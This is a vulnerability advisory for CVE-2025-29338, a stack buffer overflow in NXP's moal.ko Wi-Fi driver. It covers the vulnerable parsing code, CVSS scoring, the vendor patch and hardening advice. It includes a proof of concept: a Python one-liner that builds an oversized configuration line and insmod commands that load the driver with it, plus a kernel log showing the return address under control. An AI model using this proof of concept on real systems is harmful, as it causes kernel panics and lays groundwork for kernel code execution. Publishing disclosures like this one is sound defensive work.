| Field | Value |
|---|---|
| CVE ID | CVE-2025-29338 |
| Severity | High |
| CVSS v3.1 Score | 7.8 |
| CVSS v3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Stack-Based Buffer Overflow (CWE-121) |
| Attack Vector | Local |
| Vendor | NXP Semiconductors |
| Vendor Patch Status | Patched |
| Discoverer | Mahmoud Jadaan — diconium auto GmbH |
A stack-based buffer overflow vulnerability exists in the NXP moal.ko Wi-Fi kernel driver (version 5.1.7.10) across firmware builds v17.92.1.p149.43 through v17.92.1.p149.157. The vulnerability is located in parse_cfg_get_line (mlinux/moal_init.c), called from woal_setup_module_param. The while loop that reads configuration file lines into a fixed-size stack buffer lacks a destination bounds check, allowing a line of arbitrary length to overflow the buffer, corrupt the stack, and trigger a kernel panic. NXP PSIRT confirmed the vulnerability and the fix has been released.
| Field | Detail |
|---|---|
| Vendor | NXP Semiconductors |
| Component | moal.ko Wi-Fi kernel driver |
| Driver Version | 5.1.7.10 |
| Firmware — First Affected | v17.92.1.p149.43 |
| Firmware — Last Affected | v17.92.1.p149.157 |
woal_setup_module_param allocates a fixed stack buffer of MAX_LINE_LEN bytes and passes it to parse_cfg_get_line on each iteration while processing the mod_para configuration file:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}In the vulnerable revision of parse_cfg_get_line, the while loop condition checks only the source position and line terminators — there is no check on how many bytes have been written to the destination buffer:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}A configuration file line longer than MAX_LINE_LEN bytes causes dest to advance past the end of the caller's stack buffer, overwriting adjacent stack memory including the saved frame pointer and return address.
| Attribute | Value |
|---|---|
| Type | Local |
| Privileges Required | CAP_SYS_MODULE (root or equivalent) |
| User Interaction | None |
| Attack Surface | mod_para kernel module parameter (configuration file path) |
The driver is loaded at system startup using insmod with the mod_para parameter pointing to a configuration file. An attacker who can write a crafted configuration file and reload the kernel module can trigger the overflow.
| Impact | Description |
|---|---|
| Denial of Service | Kernel panic — confirmed; causes immediate system reboot |
| Kernel Memory Corruption | Stack smashing overwrites saved rbp and return address |
| Potential Code Execution | Return address controlled — arbitrary kernel-mode code execution may be possible depending on mitigations in place (stack canary, KASLR, etc.) |
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Local (L) | Requires local system access |
| Attack Complexity (AC) | Low (L) | No race conditions or complex prerequisites |
| Privileges Required (PR) | High (H) | Requires CAP_SYS_MODULE / root |
| User Interaction (UI) | None (N) | Fully attacker-controlled |
| Scope (S) | Unchanged (U) | Impact stays within kernel context |
| Confidentiality (C) | High (H) | Kernel memory potentially readable |
| Integrity (I) | High (H) | Return address overwrite demonstrated |
| Availability (A) | High (H) | Kernel panic / reboot confirmed |
Base Score: 7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Provided for defensive and research purposes only.
#!/bin/sh
rmmod moal
rmmod mlanThe stack buffer is filled with As, followed by 8 bytes for the stack canary slot (Bs), 8 bytes for the saved rbp (Cs), and 8 bytes to overwrite the return address (Ds):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.binThe mod_para path must be relative to the directory where the kernel searches for firmware (typically /lib/firmware/). Construct the path accordingly:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7A kernel panic is triggered immediately during module initialization. Kernel logs confirm the return address is overwritten with 0x4444444444444444 (ASCII DDDDDDDD), demonstrating full control of the instruction pointer:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRT confirmed the vulnerability and provided the following patch to mlinux/moal_init.c. The fix adds a bounds check inside the parse_cfg_get_line loop to break out before exceeding MAX_LINE_LEN:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;Update to a firmware version beyond v17.92.1.p149.157 which includes the patch above. As additional hardening:
- Restrict module loading — limit
CAP_SYS_MODULEto trusted administrators; enforceinit_module/finit_modulesyscall restrictions via SELinux, AppArmor, orseccomp. - Protect configuration file paths — ensure the path referenced by
mod_paraand the files it points to are only writable by root.
- NXP mwifiex Driver (GPL): https://github.com/nxp-imx/mwifiex
- NXP Release Notes: https://www.nxp.com/docs/en/release-note/RN00104.pdf
NXP PSIRT confirmed the vulnerability. The fix has been released as part of a formal software update.
Discoverer: Mahmoud Jadaan — diconium auto GmbH
This advisory is published as a public reference to satisfy minimum CVE disclosure requirements per the CVE Program.